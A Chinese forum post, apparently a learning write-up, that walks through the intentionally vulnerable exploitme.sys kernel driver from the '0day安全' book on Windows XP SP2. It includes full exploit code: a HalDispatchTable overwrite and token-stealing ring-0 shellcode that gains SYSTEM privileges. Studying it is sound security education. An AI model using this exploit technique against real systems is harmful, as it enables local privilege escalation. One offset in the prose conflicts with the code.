首页
论坛
课程
招聘
[原创]0day书中内核漏洞exploitme.sys的学习记录
2021-10-31 13:45 21412

[原创]0day书中内核漏洞exploitme.sys的学习记录

2021-10-31 13:45
21412

一.前言

本文是对0day安全这本书中,关于内核漏洞的入门的例子的学习分享。由于作者这一部分有一些细节没有说清楚,所以看的时候挺懵的。查了一些资料以后算是比较完整的理解了下来,分享出来给新手看看。没别的意思,觉得简单无聊的兄弟就请绕过,口下留情吧~。

实验环境是Win XP sp2。

二.漏洞程序

下面这段是对作者所说的具有的漏洞的驱动代码,不过我对它进行了一些修改,可以更容易看懂

#include <ntifs.h>

#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS)	// 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)

VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
	NTSTATUS status = STATUS_SUCCESS;
	PDEVICE_OBJECT pDeviceObj = NULL;
	UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME);
	UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK);
	ULONG i = 0;

	// 创建设备
	status = IoCreateDevice(driverObject, 
							NULL, 
							&uDeviceName, 
							FILE_DEVICE_UNKNOWN, 
							FILE_DEVICE_SECURE_OPEN, 
							FALSE, 
							&pDeviceObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("IoCreateDevice Error 0x%X\r\n", status);
		goto exit;
	}

	// 设置数据交互方式
	// pDeviceObj->Flags |= DO_BUFFERED_IO;	// 缓冲区方式读写
	// pDeviceObj->Flags |= DO_DIRECT_IO;	// 直接方式读写

	// 创建符号链接
	status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("IoCreateSymbolicLink Error 0x%X\r\n", status);
		goto exit;
	}

	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DispatchCommon;
	}
	driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl;
	DbgPrint("驱动加载成功\r\n");

exit:
	driverObject->DriverUnload = DriverUnload;
	return STATUS_SUCCESS;
}

NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp)
{
	NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
	PIO_STACK_LOCATION pIoStack = NULL;
	ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0;
	PVOID pInputBuffer = NULL, pOutputBuffer = NULL;

								

	// 获取设备栈
	pIoStack = IoGetCurrentIrpStackLocation(pIrp);

	// 获取输入缓冲区长度与输入缓冲区
	uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength;
	pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer;

	// 获取输出缓冲区长度与输出缓冲区
	uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength;
	pOutputBuffer = pIrp->UserBuffer;	

	// 获取控制码
	uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode;

	// 根据控制码执行操作
	switch(uIoControlCode)
	{
		case CTL_EXPLOIT_ME:
		{
			DbgPrint("CTL_EXPLOIT_ME");
			if (uInputLength >= 4 && uOutputLength >= 4)
			{
				// 将输入地址中的内容赋值到输出地址中
				*(PULONG)pOutputBuffer = *(PULONG)pInputBuffer;
				uInformation = sizeof(ULONG);
				status = STATUS_SUCCESS;
			}
			break;
		}
		default:
		{
			break;
		}
	}

	pIrp->IoStatus.Information = uInformation;
	pIrp->IoStatus.Status = status;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;
}

NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp)
{
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;

	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;
}

VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
	UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK);

	if (driverObject->DeviceObject)
	{
		IoDeleteSymbolicLink(&uSymbolLinkName);
		IoDeleteDevice(driverObject->DeviceObject);
	}
	DbgPrint("驱动卸载完成\r\n");
}

这段驱动代码有以下两个特点

  1. 没有指定设备的数据交互方式,此时用户层和这个驱动的交互就会是METHOD_NEITHER。而这种方式会对用户层传入的输入输出的地址不会进行处理,直接进行更改。

  2. 在对应的控制码的操作中,程序只是判断输入输出的长度是否大于等于4。并没有判断输入输出的地址是否是合法的,地址中的内容是否是可以随意更改的,直接就将输入地址中的内容赋值到了输出地址中。

接下来通过一个正常的示例来看看这段驱动的作用

#include <cstdio>
#include <cstdlib>
#include <windows.h>

#define LINK_NAME "\\\\.\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS)	// 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
#define INPUT_BUFFER_LENGTH 4
#define OUT_BUFFER_LENGTH 4

void ShowError(PCHAR msg);

int main()
{
	HANDLE hDevice = NULL;
	DWORD dwInput = 1900;
	DWORD dwOutput = 0;
	DWORD dwReturnLength = 0;

	hDevice = CreateFile(LINK_NAME,
						 GENERIC_READ | GENERIC_WRITE,
						 0,
						 NULL,
						 OPEN_EXISTING,
		                 FILE_ATTRIBUTE_NORMAL,
		                 0);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		ShowError("CreateFile");
		goto exit;
	}

	printf("修改前的dwOutput:%d\n", dwOutput);
	if (!DeviceIoControl(hDevice, 
		                 CTL_EXPLOIT_ME, 
		                 &dwInput, 
		                 INPUT_BUFFER_LENGTH,
		                 &dwOutput,
						 OUT_BUFFER_LENGTH,
		                 &dwReturnLength,
						 NULL))
	{
		ShowError("DeviceIoControl");
		goto exit;
	}

	printf("修改后的dwOutput:%d\n", dwOutput);

exit:
	system("pause");
	return 0;
}

void ShowError(PCHAR msg)
{
	printf("%s Error %d\n", msg, GetLastError());
}

在这段代码中,将合法的输入输出地址也就是dwInput和dwOutput传给了驱动。那么在驱动中,就会将dwInput中的内容赋值到dwOutput中。

可以看到,驱动成功的将输出地址中保存的内容赋值到输入地址中。但是由于没有对地址的合法性进行检查,所以如果可以知道保存了系统函数的地址,就可以直接修改这个地址中保存的数据。这样,当程序再次调用这个函数的时候,就会调用我们写入的地址。这个手法和IAT Hook的的原理是一样的,感兴趣的话可以看看这篇Win PE系列之导入表解析与IAT Hook技术

作者给出的例子是,修改HAL_DISPATCH结构体中的HalQuerySuystemInformation的入口地址,将它改为0地址。这样程序在调用这个函数的时候,就会调用0地址中保存的指令。而我们可以在0地址申请一段内存,并写入想要执行的指令,这样就达到了执行想要的指令的目的。

那么要完成上面的内容,就要以下三个步骤:

  1. 在0地址申请内存并写入要执行的指令

  2. 找到保存HalQuerySystemInformation函数地址的地址,并通过驱动将函数地址改为0地址

  3. 调用HalQuerySystemInformation函数

接下来将对这三个步骤进行一一讲解。

三.漏洞利用

1.在0地址申请内存,并写入要执行的指令

在这里,申请内存使用的内核API是ZwAllocateVirtualMemory,该函数的定义如下

NTSTATUS 
  NtAllocateVirtualMemory(
    __in HANDLE  ProcessHandle,
    __inout PVOID  *BaseAddress,
    __in ULONG_PTR  ZeroBits,
    __inout PSIZE_T  RegionSize,
    __in ULONG  AllocationType,
    __in ULONG  Protect );
参数含义
ProcessHandle要申请内存的进程句柄。使用NtCurrentProcess宏来指定当前进程
BaseAddress期望内存基址指针。非0时,系统将计算此值得页对齐地址,尝试按照此地址块申请内存。当该值等于0时,系统将寻找第一个未使用得内存块。当函数调用成功时,此参数将接收实际得基址
ZeroBits基址最高位为0得数量。当该值为0,此值将被忽略。
RegionSize期望大小。系统计算实际基址与该值得页对齐边界,以实际分配大小。当函数调用成功时,此参数将接收实际分配得大小
AllocationType指定要分配的页类型
Protect申请的页属性,这里选择PAGE_EXECUTE_READWRITE,也就是可读可写可执行

由参数的含义可以知道,要申请0地址的内存是不可以通过直接将BaseAddress指定为0的方式来实现。因为你将它指定为0,那么就会有系统来决定分配内存的区域。想要在0地址分配内存,需要用到MEM_TOP_DOWN这个页类型,也就是第五个参数要包含MEM_TOP_DOWN这个页类型。该类型的含义是将从尽可能高得地址分配内存。当第二个参数指定为一个比较小得数,比如1或者4这种,而第五个参数又带有MEM_TOP_DOWN标志。那么根据页对齐,此时会向上对齐,返回得BaseAddress就会是0且RegionSize将会是两个页的大小。

2.找到函数HalQuerySystemInformation函数地址的保存地址

要找到这个函数的保存地址,需要找到HalDispatchTable。该值是一个HAL_DISPATCH结构体遍历,首先看看HAL_DISPATCH结构体的定义

typedef struct {
    ULONG                           Version;
    pHalQuerySystemInformation      HalQuerySystemInformation;
    pHalSetSystemInformation        HalSetSystemInformation;
    pHalQueryBusSlots               HalQueryBusSlots;
    ULONG                           Spare1;
    pHalExamineMBR                  HalExamineMBR;
    pHalIoReadPartitionTable        HalIoReadPartitionTable;
    pHalIoSetPartitionInformation   HalIoSetPartitionInformation;
    pHalIoWritePartitionTable       HalIoWritePartitionTable;

    pHalHandlerForBus               HalReferenceHandlerForBus;
    pHalReferenceBusHandler         HalReferenceBusHandler;
    pHalReferenceBusHandler         HalDereferenceBusHandler;

    pHalInitPnpDriver               HalInitPnpDriver;
    pHalInitPowerManagement         HalInitPowerManagement;

    pHalGetDmaAdapter               HalGetDmaAdapter;
    pHalGetInterruptTranslator      HalGetInterruptTranslator;

    pHalStartMirroring              HalStartMirroring;
    pHalEndMirroring                HalEndMirroring;
    pHalMirrorPhysicalMemory        HalMirrorPhysicalMemory;
    pHalEndOfBoot                   HalEndOfBoot;
    pHalMirrorVerify                HalMirrorVerify;

    pHalGetAcpiTable                HalGetCachedAcpiTable;
    pHalSetPciErrorHandlerCallback  HalSetPciErrorHandlerCallback;

#if defined(_IA64_)
    pHalGetErrorCapList             HalGetErrorCapList;
    pHalInjectError                 HalInjectError;
#endif

} HAL_DISPATCH, *PHAL_DISPATCH;

根据改结构体的定义,可以看到HalQuerySystemInformation函数就保存在HAL_DISPATCH结构体偏移为0x04的地址。而HalDispatchTable是从内核模块中导出的,所以要就需要找到内核模块在内存中的基地址,再根据偏移得到HalDispatchTable的VA。而要找到内核模块的基地址就需要用到ZwQuerySystemInformation这个API。该函数的定义如下

NTSTATUS WINAPI ZwQuerySystemInformation(
  __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
  __inout    PVOID SystemInformation,
  __in       ULONG SystemInformationLength,
  __out_opt  PULONG ReturnLength);
参数含义
SystemInformationClass要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体

SystemInformation

指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass
SystemInformationLengthSystemInformation参数指向的缓冲区的大小
ReturnLength指向函数写入所请求信息的实际大小的位置的可选指针。如果该大小小于或等于SystemInformationLength参数,则函数将信息复制到SystemInformation缓冲区中;否则,它将返回NTSTATUS错误代码,并以ReturnLength的形式返回接收请求信息所需的缓冲区大小。

SYSTEM_INFORMATION_CLASS,在文档中的部分内容如下

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemInformationClassMin = 0,
	SystemBasicInformation = 0,
	SystemProcessInformation = 5,
	SystemProcessesAndThreadsInformation = 5,
	SystemModuleInformation = 11,
	SystemExceptionInformation = 33,
	SystemKernelDebuggerInformation = 35,
} SYSTEM_INFORMATION_CLASS;

当该值指定的是SystemModuleInformation(11)的时候,SystemInformation返回的就是SYSTEM_MODULE_INFORMATION的指针。改结构体的定义如下

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
	ULONG	 Unknown1;
	ULONG	 Unknown2;
	PVOID  Base;
	ULONG  Size;
	ULONG  Flags;
	USHORT  Index;
  /* Length of module name not including the path, this
     field contains valid value only for NTOSKRNL module */
	USHORT	NameLength;
	USHORT  LoadCount;
	USHORT  PathLength;
	CHAR  ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
  ULONG  Count;
  SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

可以看到SYSTEM_MODULE_INFORMATION中保存了SYSTEM_MODULE_INFORMATION_ENTRY的数组。数组中的每一个元数都保存了一个模块的信息,其中的Base保存模块的加载地址,ImageName保存了模块的名称。而本次查询一共有多少个SYSTEM_MODULE_INFORMATION的数组则保存在Count中。

由于,一开始并不知道要申请多大的内存才可以保存这些数据。所以,需要调用两次函数,第一次调用的目的就是通过将第三个参数传入0来获得需要使用的内存大小。

查询到的内核模块中的第一个就是要使用的内核模块。这样就可以获得这个内核模块的名称,接下来就需要使用LdrLoadDll来将内核模块导入,该函数的定义如下

#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

IMP_SYSCALL
 LdrLoadDll(IN PWSTR DllPath OPTIONAL,
 	     IN PULONG DllCharacteristics OPTIONAL,
 	     IN PUNICODE_STRING DllName,
        OUT PVOID *DllHandle);
参数含义
DllPath可选,指定要加载的DLL的路径
DllCharacteristics可选,指向要加载的DLL的属性
DllName指向要加载的DLL的名称
DllHandle用来接收得到的DLL的句柄

通过这个函数就可以将模块加载到内存中算出HalDispatchTable的偏移,在使用上面得到的ImageBase就可以计算机HalDispatchTable在内核中的具体位置,接下来就通过IO控制码发送消息给驱动完成修改。

3.调用HalQuerySystemInformation函数

要调用这个函数,只需要调用NtQueryIntervalProfile函数的时候,它的第一个参数传入的不等于ProfileTime和ProfileAlignmentFixup就好

四.ShellCode的提权原理

首先要知道0xFFDFF000这个地址保存的是_KPCR,该结构体的定义如下

kd> dt _KPCR
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x01c SelfPcr          : Ptr32 _KPCR
   +0x020 Prcb             : Ptr32 _KPRCB
   +0x024 Irql             : UChar
   +0x028 IRR              : Uint4B
   +0x02c IrrActive        : Uint4B
   +0x030 IDR              : Uint4B
   +0x034 KdVersionBlock   : Ptr32 Void
   +0x038 IDT              : Ptr32 _KIDTENTRY
   +0x03c GDT              : Ptr32 _KGDTENTRY
   +0x040 TSS              : Ptr32 _KTSS
   +0x044 MajorVersion     : Uint2B
   +0x046 MinorVersion     : Uint2B
   +0x048 SetMember        : Uint4B
   +0x04c StallScaleFactor : Uint4B
   +0x050 DebugActive      : UChar
   +0x051 Number           : UChar
   +0x052 Spare0           : UChar
   +0x053 SecondLevelCacheAssociativity : UChar
   +0x054 VdmAlert         : Uint4B
   +0x058 KernelReserved   : [14] Uint4B
   +0x090 SecondLevelCacheSize : Uint4B
   +0x094 HalReserved      : [16] Uint4B
   +0x0d4 InterruptMode    : Uint4B
   +0x0d8 Spare1           : UChar
   +0x0dc KernelReserved2  : [17] Uint4B
   +0x120 PrcbData         : _KPRCB

该结构体偏移0x120处保存的是_KPCB结构体,该结构体的部分定义如下

kd> dt _KPRCB
ntdll!_KPRCB
   +0x000 MinorVersion     : Uint2B
   +0x002 MajorVersion     : Uint2B
   +0x004 CurrentThread    : Ptr32 _KTHREAD
   +0x008 NextThread       : Ptr32 _KTHREAD
   +0x00c IdleThread       : Ptr32 _KTHREAD
   +0x010 Number           : Char

据此可以知道0xFFDFF124保存的是当前线程的_KTHREAD,而_KTHREAD又是_ETHREAD结构体中的第一个成员,所以0xFFDFF124保存的其实是当前_ETHREAD结构体。_ETHREAD结构体中保存的内容如下

kd> dt _ETHREAD
ntdll!_ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x1c0 CreateTime       : _LARGE_INTEGER
   +0x1c0 NestedFaultCount : Pos 0, 2 Bits
   +0x1c0 ApcNeeded        : Pos 2, 1 Bit
   +0x1c8 ExitTime         : _LARGE_INTEGER
   +0x1c8 LpcReplyChain    : _LIST_ENTRY
   +0x1c8 KeyedWaitChain   : _LIST_ENTRY
   +0x1d0 ExitStatus       : Int4B
   +0x1d0 OfsChain         : Ptr32 Void
   +0x1d4 PostBlockList    : _LIST_ENTRY
   +0x1dc TerminationPort  : Ptr32 _TERMINATION_PORT
   +0x1dc ReaperLink       : Ptr32 _ETHREAD
   +0x1dc KeyedWaitValue   : Ptr32 Void
   +0x1e0 ActiveTimerListLock : Uint4B
   +0x1e4 ActiveTimerListHead : _LIST_ENTRY
   +0x1ec Cid              : _CLIENT_ID
   +0x1f4 LpcReplySemaphore : _KSEMAPHORE
   +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE
   +0x208 LpcReplyMessage  : Ptr32 Void
   +0x208 LpcWaitingOnPort : Ptr32 Void
   +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION
   +0x210 IrpList          : _LIST_ENTRY
   +0x218 TopLevelIrp      : Uint4B
   +0x21c DeviceToVerify   : Ptr32 _DEVICE_OBJECT
   +0x220 ThreadsProcess   : Ptr32 _EPROCESS
   +0x224 StartAddress     : Ptr32 Void
   +0x228 Win32StartAddress : Ptr32 Void

可以看到_ETHREAD偏移0x200的地址,保存的是线程对应的_EPROCESS结构体,该结构体的部分成员如下

kd> dt _EPROCESS
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER
   +0x078 ExitTime         : _LARGE_INTEGER
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void
   +0x088 ActiveProcessLinks : _LIST_ENTRY
   +0x090 QuotaUsage       : [3] Uint4B
   +0x09c QuotaPeak        : [3] Uint4B
   +0x0a8 CommitCharge     : Uint4B
   +0x0ac PeakVirtualSize  : Uint4B
   +0x0b0 VirtualSize      : Uint4B
   +0x0b4 SessionProcessLinks : _LIST_ENTRY
   +0x0bc DebugPort        : Ptr32 Void
   +0x0c0 ExceptionPort    : Ptr32 Void
   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE
   +0x0c8 Token            : _EX_FAST_REF
   +0x0cc WorkingSetLock   : _FAST_MUTEX

其中需要注意的三个成员是

偏移成员含义
0x84UniqueProcessId进程PID
0x88ActiveProcessLinks双向链表可以用来遍历进程
0xC8Token保存了进程的令牌

所以作者给的ShellCode的提权办法是通过0x88这个成员来遍历所有的进程,去寻找System。因为System进程的PID都是等于4,如下图所示,所以通过判断0x84保存的进程PID是否是4来判断是否找到了System进程。随后将System进程的Token赋值给本进程这就完成了提权。

如果对这个遍历进程的原理不太清楚的可以看下这一篇文章,下面有关于这种进程遍历原理的描述进程隐藏技术

完整的完成漏洞利用达到提权的代码如下

// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")

#define LINK_NAME "\\\\.\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS)	// 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
#define INPUT_BUFFER_LENGTH 4
#define OUT_BUFFER_LENGTH 4
#define PAGE_SIZE 0x1000
#define KERNEL_NAME_LENGTH 0X0D

void ShowError(PCHAR msg, NTSTATUS status);
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);

BOOL g_bIsExecute = FALSE;

int main()
{
	NTSTATUS status = STATUS_SUCCESS;
	HANDLE hDevice = NULL;
	DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;
	PVOID ShellCodeAddress = NULL;
	PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL;
	DWORD dwImageBase = 0;
	PVOID pMappedBase = NULL;
	UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 };
	UNICODE_STRING uDllName;
	PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL;
	DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
	
	// 获得0地址的内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);
	status = NtAllocateVirtualMemory(NtCurrentProcess(), 
									 &ShellCodeAddress,
									 0,
									 &ShellCodeSize,
								     MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
									 PAGE_EXECUTE_READWRITE);
	if (!NT_SUCCESS(status))
	{
		printf("NtAllocateVirtualMemory Error 0x%X\n", status);
		goto exit;
	}
	
	// 将ShellCode写到申请的0地址空间中
	RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize);	
	

	// 此时dwReturnLength是0,所以函数会由于长度为0执行失败
	// 然后系统会在第四个参数指定的地址保存需要的内存大小
	status = ZwQuerySystemInformation(SystemModuleInformation,
									  pModuleInformation,
									  dwReturnLength,
									  &dwReturnLength);

	if (status != STATUS_INFO_LENGTH_MISMATCH)
	{
		ShowError("ZwQuerySystemInformation", status);
		goto exit;
	}

	// 按页大小对齐
	dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
	pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, 
																  dwReturnLength, 
																  MEM_COMMIT | MEM_RESERVE,
																  PAGE_READWRITE);
	if (!pModuleInformation)
	{
		printf("VirtualAlloc Error");
		goto exit;
	}

	status = ZwQuerySystemInformation(SystemModuleInformation,
									  pModuleInformation,
									  dwReturnLength,
									  &dwReturnLength);
	if (!NT_SUCCESS(status))
	{
		ShowError("ZwQuerySystemInformation", status);
		goto exit;
	}
	
	// 模块加载的基地址
	dwImageBase = (DWORD)(pModuleInformation->Module[0].Base);

	// 获取模块名
	RtlMoveMemory(szImageName,
				  (PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength),
		          KERNEL_NAME_LENGTH);
	// 转换为UNICODE_STRING类型
	RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName);

	status = (NTSTATUS)LdrLoadDll(NULL,
								  &dwDllCharacteristics,
								  &uDllName,
								  &pMappedBase);

	if (!NT_SUCCESS(status))
	{
		ShowError("LdrLoadDll", status);
		goto exit;
	}

	// 获取内核HalDispatchTable函数表地址
	pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable");

	if (pHalDispatchTable == NULL)
	{
		printf("GetProcAddress Error\n");
		goto exit;
	}

	pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase);
	pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG));

	// 打开驱动设备
	hDevice = CreateFile(LINK_NAME,
						 GENERIC_READ | GENERIC_WRITE,
						 0,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 0);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		printf("CreateFile Error");
		goto exit;
	}


	DWORD dwInput = 0;
	// 与驱动设备进行交互
	if (!DeviceIoControl(hDevice, 
		                 CTL_EXPLOIT_ME, 
		                 &dwInput, 
		                 INPUT_BUFFER_LENGTH,
						 pXHalQuerySystemInformation,
						 OUT_BUFFER_LENGTH,
		                 &dwReturnLength,
						 NULL))
	{
		printf("DeviceIoControl Error");
		goto exit;
	}

	status = NtQueryIntervalProfile(ProfileTotalIssues, NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryIntervalProfile", status);
		goto exit;
	}

	if (g_bIsExecute) printf("Ring0 代码执行完成\n");

exit:
	if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE);
	if (hDevice) NtClose(hDevice);
	if (pMappedBase) LdrUnloadDll(pMappedBase);
	system("pause");
	return 0;
}

NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength)
{
	// 关闭页保护
	__asm
	{
		cli
		mov eax, cr0
		and eax, ~0x10000
		mov cr0, eax
	}

	__asm
	{
		// 取当前线程
		mov eax, 0xFFDFF124
		mov eax, [eax]
		// 取线程对应的EPROCESS
		mov esi, [eax + 0x220]
		mov eax, esi
searchXp:
		mov eax, [eax + 0x88]
		sub eax, 0x88
		mov edx, [eax + 0x84]
		cmp edx, 0x4
		jne searchXp
		mov eax, [eax + 0xC8]
		mov [esi + 0xC8], eax
	}

	// 开起页保护
	__asm
	{
		mov eax, cr0
		or eax, 0x10000
		mov cr0, eax
		sti
	}

	g_bIsExecute = TRUE;
}

void ShowError(PCHAR msg, NTSTATUS status)
{
	printf("%s Error 0x%X\n", msg, status);
}

五.运行结果

可以看到,最终程序成功获得了System的权限


【公告】欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

最后于 2021-12-5 10:42 被1900编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (4)
雪    币: 8581
活跃值: 活跃值 (7779)
能力值: ( LV12,RANK:220 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2021-10-31 17:19
2
0
优秀,感谢分享
雪    币: 8950
活跃值: 活跃值 (9632)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
1900 活跃值 2021-10-31 18:25
3
0
pureGavin 优秀,感谢分享
兄弟过奖了
雪    币: 378
活跃值: 活跃值 (369)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
zzzzzssssmmm 活跃值 2021-10-31 19:42
4
1
兄弟,刚好我也在学这部分,提权那里好像并不是因为Token与SYSTEM进程一样,其所属用户就是SYSTEM,具体是什么原因我也不太清楚,不过我尝试将其他进程的Token复制成了SYSTEM进程的Token,结果显示进程所属用户还是Admin,其实这部分测试是否提权成功通过能否执行cli等特权指令就行了。这部分的资料确实比较不全,需要自己去探索。
雪    币: 8950
活跃值: 活跃值 (9632)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
1900 活跃值 2021-10-31 20:03
5
0
zzzzzssssmmm 兄弟,刚好我也在学这部分,提权那里好像并不是因为Token与SYSTEM进程一样,其所属用户就是SYSTEM,具体是什么原因我也不太清楚,不过我尝试将其他进程的Token复制成了SYSTEM进程的To ...
雀实,作者没写的很详细
游客
登录 | 注册 方可回帖
返回